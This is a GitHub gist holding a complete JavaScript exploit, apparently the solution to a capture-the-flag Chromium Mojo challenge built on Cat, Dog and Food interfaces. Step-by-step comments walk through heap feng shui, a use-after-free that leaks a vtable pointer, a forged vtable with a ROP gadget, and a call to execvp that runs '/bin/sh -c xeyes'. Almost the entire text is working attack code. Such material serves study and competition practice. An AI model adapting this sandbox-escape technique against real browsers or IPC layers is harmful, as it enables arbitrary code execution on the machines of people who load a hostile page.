Skip to content

Instantly share code, notes, and snippets.

@Eterna1
Last active April 19, 2020 10:13
Show Gist options
  • Save Eterna1/c424d35f57f875d75e3e7ed843a67750 to your computer and use it in GitHub Desktop.
Save Eterna1/c424d35f57f875d75e3e7ed843a67750 to your computer and use it in GitHub Desktop.
exploit.html
<html>
<!--
Copyright 2019 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<body>
<script src="/mojo_bindings.js"></script>
<script src="/person_interface.mojom.js"></script>
<script src="/cat_interface.mojom.js"></script>
<script src="/dog_interface.mojom.js"></script>
<script src="/food_interface.mojom.js"></script>
<script src="/being_creator_interface.mojom.js"></script>
<script>
wait = async timeout => new Promise(resolve => setTimeout(resolve, timeout));
// bigint support
mojo.internal.Buffer.prototype.setUint64 = function(offset, value) {
value = BigInt(value);
let multipliter = 0x100000000n;
var hi = Number(value / multipliter);
var low = Number(value % multipliter);
this.dataView.setInt32(offset, low, true);
this.dataView.setInt32(offset + 4, hi, true);
return;
};
// This is needed because by default Mojo encodes all strings in utf8
// and this can corrupt the pointer value in
// `await one_more_cat.setName(fake_vtable_ptr);`
mojo.internal.encodeUtf8String = function(str, outputBuffer) {
const utf8Buffer = str.split('').map(char => char.charCodeAt(0));
if (outputBuffer.length < utf8Buffer.length)
throw new Error("Buffer too small for encodeUtf8String");
outputBuffer.set(utf8Buffer);
return utf8Buffer.length;
}
mojo.internal.decodeUtf8String = function(buffer) {
return Array.from(new Uint8Array(buffer.buffer, buffer.byteOffset, buffer.byteLength)).
map(code => String.fromCharCode(code)).join('');
}
hexify = string => string.split('').map(char => char.charCodeAt(0).toString(16).padStart(2, 0)).join(' ');
function getUint64(str, offset) {
return (new DataView(
(new Uint8Array(str.split('').map(char => char.charCodeAt(0)))).buffer)
).getBigUint64(offset, true);
};
function setUint64(str, offset, value) {
let array = new Uint8Array(str.split('').map(char => char.charCodeAt(0)));
let view = new DataView(array.buffer);
view.setBigUint64(offset, value, true);
return Array.from(array).map(char => String.fromCharCode(char)).join('');
};
function strToUint64(str) {
let dv = new DataView(new ArrayBuffer(8));
for (let i = 0; i < 8; ++i) dv.setUint8(i, str.charCodeAt(i));
return dv.getBigUint64(0, true);
}
rand = n => Math.random() * n | 0; // [0,n)
getIdString = idx => String.fromCharCode(idx) + 'A'.repeat(sizeof_stringbuf - 1);
// This was used previously to estimate which values are working.
// dog_count = Math.max(rand(100), 1);
// cat_count = Math.max(dog_count * 2 + rand(20) - 10, 1);
cat_count = 16;
dog_count = 8;
sizeof_CatInterfaceImpl = 64;
// This is the size of CatInterfaceImpl
// The capacity of a newly created string (longer than 22 bytes) is always bigger at least
// by 0x10 (and rounded up to 0x10) than the length of a string.
// We want to make a string buffer of the length equal to CatInterfaceImpl
// so we need to create a string that its data buffer is 0x10 bytes smaller.
sizeof_stringbuf = sizeof_CatInterfaceImpl - 0x10;
async function poc() {
// 1. Create BeingCreator endpoint for sending messages (InterfacePtr).
being_creator_interface_ptr = new blink.mojom.BeingCreatorInterfacePtr();
Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name,
mojo.makeRequest(being_creator_interface_ptr).handle);
// 2. Associate the endpoint with the implementation.
function FoodInterfaceImpl() {
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
}
// Food interface implementation.
FoodInterfaceImpl.prototype = {
getDescription: async () => {
},
setDescription: async (arg) => {
},
getWeight: async () => {
// 6. Free the last dog.
dogs[dogs.length - 1].ptr.reset();
// 7. Set names of the dogs.
for (let i = dog_count - 1; i--; ) {
dogs[i].setName('X'.repeat(sizeof_stringbuf * 100));
}
// 8. Create cats.
cats = [];
for (let i = 0; i < cat_count; ++i) {
cats.push((await being_creator_interface_ptr.createCat()).cat);
}
// 9. Set names of cats, their capacity is the same as sizeof_CatInterfaceImpl.
// The first byte of the name is the id.
for (let i = 0; i < cat_count; ++i) {
await cats[i].setName(getIdString(i));
}
// 10. After return, CatInterfaceImpl::AddWeight is called.
// After feng shui a cat was created in the same place as the freed dog.
// "weight += weight_;" adds to cat.name.ptr value sizeof_CatInterfaceImpl.
// So now name.ptr of the cat points to the place right after the end of ptr data buffor,
// which is name.ptr of some another cat.
return {'weight': sizeof_CatInterfaceImpl};
},
setWeight: async (arg) => {
},
};
// 3. Create Food object.
let food_impl = new FoodInterfaceImpl();
let food_impl_ptr = new blink.mojom.FoodInterfacePtr();
food_impl.binding.bind(mojo.makeRequest(food_impl_ptr));
// 4. Let's start heap feng shui. Create dogs with its names of capacity equal to sizeof_CatInterfaceImpl.
dogs = [];
for (let i = 0; i < dog_count; ++i) {
dog = (await being_creator_interface_ptr.createDog()).dog;
await dog.setName('Z'.repeat(sizeof_stringbuf));
dogs.push(dog);
}
// 5. Call CookAndEat function on the last dog, later GetWeight of FoodInterfaceImpl is called.
dog.cookAndEat(food_impl_ptr);
// 11. Wait a bit
await wait(1000);
// 12. Lets iterate over cats to know which one has overwritten name.ptr
for (let A = 0; A < cat_count; ++A) {
// 13. If name is not equal to the name we set at point 9, we know that this cat has been overwritten
name = (await cats[A].getName()).name;
if (name != getIdString(A)) {
// 14. The name.ptr has been overwritten to the same value of name.ptr of another cat.
// A is a number of the cat that name.ptr has been overwritten.
// B is the cat that its name.ptr is pointed by cat of index A.
let B = name.charCodeAt(0);
if (B < 0 || B >= cats.length) {
break;
}
// Now we have 2 different strings that their ptr points to the same address.
// 15. Now we change the name of B'th cat to very big one,
// so the previous name.ptr buffer has been freed.
// name.ptr of cats[A] points to a freed memory
await cats[B].setName('B'.repeat(sizeof_stringbuf * 100));
// 16. Create one more cat. It has been allocated in the same place as cats[A].name.ptr
one_more_cat = (await being_creator_interface_ptr.createCat()).cat;
fake_vtable_ptr = 'F'.repeat(0x100);
await one_more_cat.setName(fake_vtable_ptr);
// 17. Leak the memory.
name = (await cats[A].getName()).name;
// The first field is a pointer to vtable.
vtable_ptr = getUint64(name, 0);
// The second field is name.ptr which is equal to fake_vtable_ptr address.
str_ptr = getUint64(name, 8);
// 18. Compute adresses.
base_offset = 0x8fc1ae0n;
base_ptr = vtable_ptr - base_offset;
if ((base_ptr & 0xffn) != 0n) {
break;
}
// int execvp(const char *file, char *const argv[]);
// this is an adress of execvp@plt
execvp_ptr = base_ptr + 0x8f79940n;
// gadget_ptr sets rdi to "/bin/sh", rsi points to a good address when this gadget is called
// 0x555557ef9ff9 <FT_Load_Glyph+121>: mov rdi,QWORD PTR [rax+0xb8]
// 0x555557efa000 <FT_Load_Glyph+128>: call QWORD PTR [rdi+0x10]
gadget_ptr = base_ptr + 0x29a5ff9n;
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x28, gadget_ptr);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x10, execvp_ptr);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0xb8, str_ptr);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x58, str_ptr + 0x78n);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x60, str_ptr + 0x80n);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x68, str_ptr + 0x88n);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x70, 0n);
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x00, strToUint64('/bin/sh\x00'));
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x78, strToUint64('foo\x00'));
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x80, strToUint64('-c\x00'));
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x88, strToUint64('xeyes\x00'));
// 19. Call a virtual method. The vtable is fake so the gadget is called.
await one_more_cat.setName(fake_vtable_ptr);
name = setUint64(name, 0, str_ptr);
await cats[A].setName(name);
alert(await one_more_cat.setAge(str_ptr + 0x58n));
break;
}
}
// 12.5 If heap feng shui didnt work start from the beginning
document.write('done');
location.reload();
};
poc();
</script></body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment